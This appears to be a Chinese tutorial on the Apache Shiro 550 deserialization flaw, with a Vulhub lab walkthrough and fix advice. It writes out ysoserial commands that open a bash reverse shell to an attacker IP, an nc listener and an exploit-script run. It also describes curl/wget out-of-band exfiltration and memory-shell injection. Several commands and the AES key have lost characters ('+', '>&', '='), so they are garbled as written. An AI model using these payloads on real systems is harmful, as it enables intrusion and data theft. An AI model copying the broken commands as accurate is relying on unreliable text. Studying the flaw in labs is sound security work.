Shiro550反序列化漏洞原理与Vulhub靶场实战复现指南

发布时间:2026/7/3 12:33:59
Shiro550反序列化漏洞原理与Vulhub靶场实战复现指南 1. 项目概述从“黑盒”到“白盒”的漏洞复现之旅最近在整理内部攻防演练的案例库Shiro550这个老牌反序列化漏洞又被我拎出来重新“盘”了一遍。说实话这个漏洞从2016年爆出来到现在依然是红队评估和渗透测试中的“常客”也是很多安全新人入门Java反序列化的经典案例。网上教程很多但要么环境搭建卡半天要么原理一笔带过复现过程像走钢丝一步错步步错。这次我决定结合Vulhub这个“漏洞靶场全家桶”从头到尾、掰开揉碎地给你讲清楚Shiro550到底是怎么回事以及如何在一个可控的环境里稳定、清晰地复现和利用它。这不仅仅是点一下按钮拿个shell更重要的是理解漏洞产生的根源、利用链的构造逻辑以及在实际测试中可能遇到的“坑”和绕过思路。无论你是刚接触Web安全的学生还是想巩固反序列化知识的安全工程师这篇基于实战的“保姆级”指南应该能让你对Shiro550有一个从原理到实操的透彻理解。简单来说Shiro550是Apache Shiro框架在1.2.4及以前版本中存在的一个高危漏洞攻击者可以在未授权的情况下通过构造恶意的序列化数据在服务端触发反序列化操作最终实现远程代码执行RCE。它的核心关键在于Shiro使用了硬编码的AES加密密钥kPHbIxk5D2deZiIxcaaaA对用户身份信息RememberMe Cookie进行加密而加密后的数据又经过了序列化。一旦攻击者获取或猜解到这个密钥就能伪造合法的Cookie植入恶意的序列化对象例如利用CommonsCollections等库的利用链让服务端在反序列化时执行任意命令。Vulhub则是一个极佳的漏洞复现环境它用Docker容器预置了存在漏洞的Shiro应用让我们能专注于漏洞本身而不必在繁琐的环境配置上浪费时间。2. 漏洞原理深度拆解为什么一个“记住我”功能会变成RCE大门要真正理解Shiro550不能只停留在“有个默认密钥”这个层面。我们需要深入到Shiro框架处理用户会话的流程中看看漏洞究竟是如何一步步产生的。这就像侦探破案得还原整个“犯罪现场”。2.1 Shiro的RememberMe机制与安全设计初衷Shiro是一个强大的Java安全框架它提供了认证、授权、加密、会话管理等功能。其中“记住我”RememberMe是一个非常贴心的功能旨在用户关闭浏览器后再次访问时无需重新登录。为了实现这个功能Shiro需要将用户的身份信息Principal持久化到客户端。直接存储明文信息显然不安全所以Shiro的设计是序列化用户信息将用户的Principal对象进行Java序列化变成一个字节流。加密序列化数据使用AES加密算法对这个字节流进行加密确保即便Cookie被截获攻击者也无法得知原始内容。Base64编码将加密后的密文进行Base64编码使其可以安全地存放在HTTP Cookie中RememberMe字段。发送给客户端将编码后的字符串设置为Cookie发送给浏览器保存。当用户再次访问时浏览器会带上这个Cookie。Shiro服务端会反向操作Base64解码 - AES解密 - 反序列化还原出用户Principal对象从而实现自动登录。这个设计本身看起来是安全的加密保证了机密性。问题的第一个致命点就在于加密密钥。2.2 硬编码密钥安全大厦的第一道裂缝在Shiro 1.2.4及之前版本中用于AES加密解密的密钥是硬编码在源代码中的。默认的密钥是kPHbIxk5D2deZiIxcaaaA。这意味着全球所有使用默认配置的Shiro应用都在用同一把“钥匙”来锁自己的“后门”。注意很多开发者在部署应用时并不会主动去修改这个密钥。一方面可能因为文档不显眼另一方面也抱有“默认即安全”的侥幸心理。这就为大规模漏洞利用埋下了伏笔。攻击者一旦知道了这个密钥他就可以解密任何从目标网站捕获的合法RememberMe Cookie分析其结构甚至更关键的是——他可以用这个密钥去加密他自己精心构造的恶意序列化数据。2.3 反序列化漏洞的注入点当加密遇上不可信数据漏洞的第二个关键点在于Shiro对解密后数据的处理。解密后的数据Shiro会毫不犹豫地对其进行Java反序列化。在Java安全领域反序列化操作一直被视作高危操作因为它会根据字节流中的数据自动调用对象的readObject()等方法重建对象。如果反序列化的数据源不可信攻击者就可以传入一个恶意构造的序列化对象。这个对象属于某个公共库如Apache Commons Collections该库的类在反序列化时其readObject()方法内部的逻辑可以被利用像多米诺骨牌一样触发一系列方法调用Gadget Chain利用链最终达到执行任意代码的目的。把两个点连起来看硬编码密钥让攻击者可以伪造“合法”的加密Cookie - Shiro信任并解密这个Cookie - 解密后的数据被直接反序列化 - 反序列化过程触发了恶意利用链 - 远程代码执行。这就是Shiro550CVE-2016-4437的完整攻击路径。它不是一个简单的逻辑漏洞而是默认配置缺陷与危险反序列化操作结合产生的“化学反应”。2.4 Shiro550与Shiro721的核心区别网络热词里提到了Shiro721这里也简单厘清一下避免混淆。Shiro550和Shiro721都是Shiro RememberMe相关的反序列化漏洞但本质不同Shiro550 (CVE-2016-4437)核心问题是硬编码密钥。攻击条件是需要知道或爆破出AES加密密钥。利用相对直接。Shiro721 (CVE-2019-12422)核心问题是Padding Oracle Attack。即使密钥是随机且保密的攻击者也可以通过大量精心构造的请求根据服务器的不同错误响应Padding正确与否像“猜谜”一样逐步爆破出加密Cookie的明文进而实施反序列化攻击。它的利用门槛更高、速度更慢但不需要知道密钥。简单记550是“钥匙就挂在门上”721是“通过听锁芯声音来撬锁”。3. 环境搭建与工具准备打造你的专属漏洞实验室理论清楚了接下来就是动手。一个稳定、隔离的测试环境是安全研究的基石。我们选择Vulhub因为它极大简化了漏洞环境的部署。3.1 Vulhub靶场搭建Kali Linux为例Vulhub的搭建其实非常简单它依赖于Docker和Docker-compose。Kali Linux通常已经预装了Docker这让我们省了不少事。安装Docker与Docker-compose# 更新软件包列表 sudo apt-get update # 安装Docker如果未安装 sudo apt-get install docker.io -y # 安装Docker-compose sudo apt-get install docker-compose -y # 启动Docker服务并设置开机自启 sudo systemctl start docker sudo systemctl enable docker # 将当前用户加入docker组避免每次都要sudo操作后需退出终端重新登录生效 sudo usermod -aG docker $USER安装完成后可以运行docker --version和docker-compose --version检查是否成功。下载Vulhub# 使用git克隆项目如果速度慢可以寻找国内镜像源 git clone https://github.com/vulhub/vulhub.git cd vulhubVulhub的目录结构非常清晰每个漏洞都有独立的文件夹里面包含了构建漏洞环境所需的所有Docker配置文件。启动Shiro550漏洞环境# 进入shiro漏洞目录 cd shiro/CVE-2016-4437 # 使用docker-compose一键启动环境 docker-compose up -d执行后Docker会从网络拉取镜像并启动容器。-d参数表示后台运行。看到Creating cve-2016-4437_shiro_1 ... done类似的提示即表示启动成功。验证环境 使用docker ps命令查看正在运行的容器应该能看到一个映射了8080端口的容器。在浏览器中访问http://your_kali_ip:8080如果能看到一个简单的登录页面可能显示“Welcome”或需要登录说明Shiro应用已经正常运行。实操心得第一次启动时因为要拉取镜像可能会比较慢。如果遇到网络问题可以考虑配置Docker镜像加速器。另外务必确保你的Kali虚拟机或主机的防火墙放行了8080端口否则可能无法访问。3.2 攻击机工具准备我们的攻击机就是运行Kali的这台机器需要准备以下工具Java环境因为利用工具是Java编写的。Kali通常自带OpenJDK检查一下java -versionPython3环境用于运行一些检测或辅助脚本。Kali也已预装。关键利用工具ysoserial这是生成各种Java反序列化利用链Payload的神器。我们需要用它来生成CommonsCollections的利用载荷。# 下载ysoserial可以从GitHub release页面下载jar包 wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jarShiro攻击检测/利用工具网上有很多优秀的开源工具例如shiro_attack、shiro-exploit等。这里我们以一个经典的Python检测脚本为例它集成了密钥爆破和利用链探测。你需要从GitHub等平台搜索并下载此类工具例如一个常见的shiro_exploit.py。Burp Suite用于拦截和修改HTTP请求这是手动测试和验证漏洞的必备工具。Kali中已安装。注意事项从网上下载的安全工具务必在隔离环境中使用并最好检查一下源代码避免工具本身被植入恶意代码。这是安全从业者的基本素养。4. 漏洞复现与利用实操步步为营拿下目标环境就绪工具在手现在让我们开始真正的“狩猎”。4.1 第一步漏洞存在性确认与密钥爆破我们首先需要确认目标存在Shiro框架并且使用的是可被爆破的弱密钥。访问目标浏览器打开http://your_kali_ip:8080。使用Burp Suite代理拦截请求。发送登录请求在登录页面随意输入用户名密码点击登录。Burp会拦截到一个POST请求。观察Cookie在Burp拦截的请求或响应中重点寻找名为rememberMe的Cookie。如果存在基本可以断定使用了Shiro的RememberMe功能。即使登录失败服务器返回的Set-Cookie头里也可能包含一个删除用的rememberMedeleteMe这也是一个特征。使用工具爆破密钥这是最关键的一步。运行你准备好的Shiro攻击工具指定目标URL。# 示例命令具体参数请根据你使用的工具说明进行调整 python3 shiro_exploit.py -u http://your_kali_ip:8080工具的工作原理是它会上传一个包含简单序列化测试Payload的RememberMe Cookie用不同的密钥加密尝试。如果服务端使用的密钥和工具尝试的密钥一致那么解密和反序列化就会成功工具通过检查HTTP响应的一些特征如响应时间、返回包长度、是否包含特定错误来判断密钥是否正确。Vulhub环境使用的是默认密钥所以工具应该能很快爆破出kPHbIxk5D2deZiIxcaaaA。常见问题与排查工具运行报错或没结果首先检查Python依赖是否安装齐全如requests,cryptography等。其次检查目标URL是否可访问网络是否通畅。爆破不出密钥如果目标修改了默认密钥工具内置的常见密钥字典可能不包含。你需要寻找更强大的密钥字典或者考虑目标是否使用了Shiro721漏洞需要Padding Oracle攻击更复杂。如何手动验证密钥你可以用Burp的Intruder模块以rememberMeCookie值为载荷使用密钥字典进行加密爆破观察响应差异。但这比专用工具效率低很多。4.2 第二步利用链探测与Payload生成爆破出密钥后我们知道了“钥匙”。接下来需要找到能打开“锁芯”执行命令的“工具”——即合适的反序列化利用链Gadget Chain。Shiro环境里通常包含一些常见的库如 CommonsBeanutils、CommonsCollections 等。探测可用利用链好的攻击工具在爆破密钥的同时或之后会自动进行利用链探测。它会用已知的密钥加密各种利用链的测试Payload例如执行一个ping命令到你的监听地址然后根据响应判断哪个利用链是可行的。 如果工具没有自动探测你可能需要手动指定。常见的有效利用链包括CommonsBeanutils1CommonsCollections2(CC2)CommonsCollections4(CC4)CB1生成反向Shell Payload假设工具探测出CommonsBeanutils1链可用。我们的目标是获取一个反向Shell完全控制目标服务器。我们需要生成一个对应的序列化Payload。使用ysoserial生成# 命令格式java -jar ysoserial.jar [Gadget_Chain] [command] # 例如生成一个调用bash反弹shell的Payload。监听IP为192.168.1.100端口4444。 java -jar ysoserial-all.jar CommonsBeanutils1 bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ}|{base64,-d}|{bash,-i} payload.ser上面命令中的YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ是bash -i /dev/tcp/192.168.1.100/4444 01的base64编码。这样做是为了避免命令行中的特殊字符如被错误解析。更通用的方法先使用msfvenom生成一个Java反向Shell的二进制文件然后用ysoserial调用它。或者直接生成一个执行curl或wget下载远程脚本并执行的命令这样更灵活。实操心得不是所有利用链在所有环境下都有效。Vulhub的Shiro 1.2.4环境通常对CommonsBeanutils1和CommonsCollections2兼容性好。在实际渗透中如果一条链不成功要多尝试几条。另外Payload中的命令要注意目标服务器的操作系统Linux/Windows和可用的命令是否有curl、wget、bash、powershell等。4.3 第三步构造请求执行攻击现在我们有目标URL、正确的AES密钥、有效的利用链、生成的恶意Payload。最后一步就是组装攻击。在攻击机开启监听# 使用netcat在4444端口开启监听 nc -lvnp 4444使用工具一键利用大多数集成化工具提供了直接输入密钥、利用链和命令生成最终攻击请求的功能。python3 shiro_exploit.py -u http://your_kali_ip:8080 -k kPHbIxk5D2deZiIxcaaaA -g CommonsBeanutils1 -c bash -i /dev/tcp/192.168.1.100/4444 01工具会自动完成用密钥加密Payload - 将加密后的数据Base64编码 - 构造带有rememberMeCookie的HTTP请求 - 发送给目标。手动利用理解过程如果你想更深入地理解可以手动操作用脚本将payload.ser文件内容用爆破得到的AES密钥进行加密CBC模式IV向量问题需要注意Shiro早期版本有特定处理方式然后Base64编码。使用Burp Suite的Repeater模块向目标任意路径如/或/login发送一个GET或POST请求。在请求头中添加CookierememberMeBase64EncodedPayload这里替换为你生成的Base64字符串。发送请求。查看结果如果一切顺利你会看到你的netcat监听窗口收到了来自目标服务器的连接并获得了一个交互式的bash shell。在Vulhub的Docker容器里你通常已经是root权限了。$ nc -lvnp 4444 Listening on 0.0.0.0 4444 Connection received on 172.20.0.2 56789 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell rootcve-2016-4437_shiro_1:/# id uid0(root) gid0(root) groups0(root) rootcve-2016-4437_shiro_1:/#5. 漏洞修复与防御建议从攻击者视角看防护复现漏洞不是为了搞破坏而是为了更深刻地理解它从而更好地防御。作为开发或运维人员应该如何应对Shiro550这类漏洞立即升级Shiro版本这是最根本的解决方案。将Apache Shiro升级到1.2.5及以上版本。新版本移除了硬编码密钥并在启动时要求开发者必须自行配置一个密钥。自定义强密钥如果因故无法升级必须修改默认密钥。在Shiro的配置文件如shiro.ini或application.yml中设置一个自定义的、高强度的AES密钥。# shiro.ini 示例 securityManager.rememberMeManager.cipherKey your_strong_base64_encoded_key_here这个密钥应该是随机的、足够长的Base64编码字符串。可以使用任何语言生成例如用Java的KeyGenerator。禁用RememberMe功能如果应用不需要“记住我”功能最安全的方式是彻底禁用它。全局反序列化过滤/白名单在Java应用层面使用反序列化过滤器如JDK 9的ObjectInputFilter或第三方库SerialKiller只允许反序列化已知安全的类。这是防御所有Java反序列化攻击的治本之策之一但实施起来需要对应用依赖的类有深入了解。依赖库安全管理移除或升级存在危险利用链的第三方库如旧版本的Commons-Collections、Commons-Beanutils等。但这通常治标不治本因为利用链总在推陈出新。网络与主机层防护WAFWeb应用防火墙可以配置规则拦截特征明显的Shiro攻击流量。主机层面确保服务器最小化开放端口定期更新系统。6. 拓展思考与高级利用在基本复现成功后我们可以思考一些更深入的问题这有助于你在真实、复杂的场景中应对。无回显命令执行不是所有攻击都能直接反弹Shell。如果目标出网受限或者你的Payload触发但拿不到回显怎么办你可以尝试执行一些无回显的操作来验证漏洞比如DNSLog外带执行ping或curl命令访问一个包含唯一子域名的DNSLog地址如your-unique-id.dnslog.cn通过查看DNS解析记录来判断命令是否执行。HTTP请求外带用curl或wget将命令执行结果例如whoami通过URL参数发送到你的可控服务器。延时判断执行sleep 5命令通过观察HTTP响应时间是否明显延长来判断。内存马注入这是红队攻击中更高级、更隐蔽的持久化手段。通过反序列化漏洞将恶意的Servlet Filter、Listener或Controller注入到运行的Java Web容器如Tomcat内存中。即使没有文件落地攻击者也能持续通过特定的URL路径访问后门。工具如Godzilla、Behinder的JSP木马就有对应的内存马版本可以通过反序列化漏洞直接打入。工具化与自动化将上述探测、密钥爆破、利用链测试、Payload生成和发送的过程整合成你自己的自动化脚本或工具链。这不仅提高效率也能让你更熟悉整个漏洞利用的每一个环节。代码审计视角尝试从源代码层面定位漏洞点。下载一个存在漏洞的Shiro版本如1.2.4找到AbstractRememberMeManager类查看getDecryptionCipherKey方法如何返回密钥再跟踪decrypt和deserialize方法的调用流程。这能让你对漏洞的理解从“黑盒”上升到“灰盒”甚至“白盒”。复现一个漏洞尤其是像Shiro550这样经典的漏洞其价值远不止于获得一个Shell。它是一次完整的“攻击链”演练信息收集发现Shiro特征、漏洞探测爆破密钥、武器化选择利用链、生成Payload、投递与执行发送恶意请求、后渗透获取Shell。每一步都涉及到不同的知识和工具。通过这样一次深入的手动复现你收获的将不仅仅是一个漏洞的利用方法而是一套应对同类反序列化漏洞的思考方式和实战能力。最后记住所有技术研究都应在合法、授权的环境中进行这是安全从业者不可逾越的红线。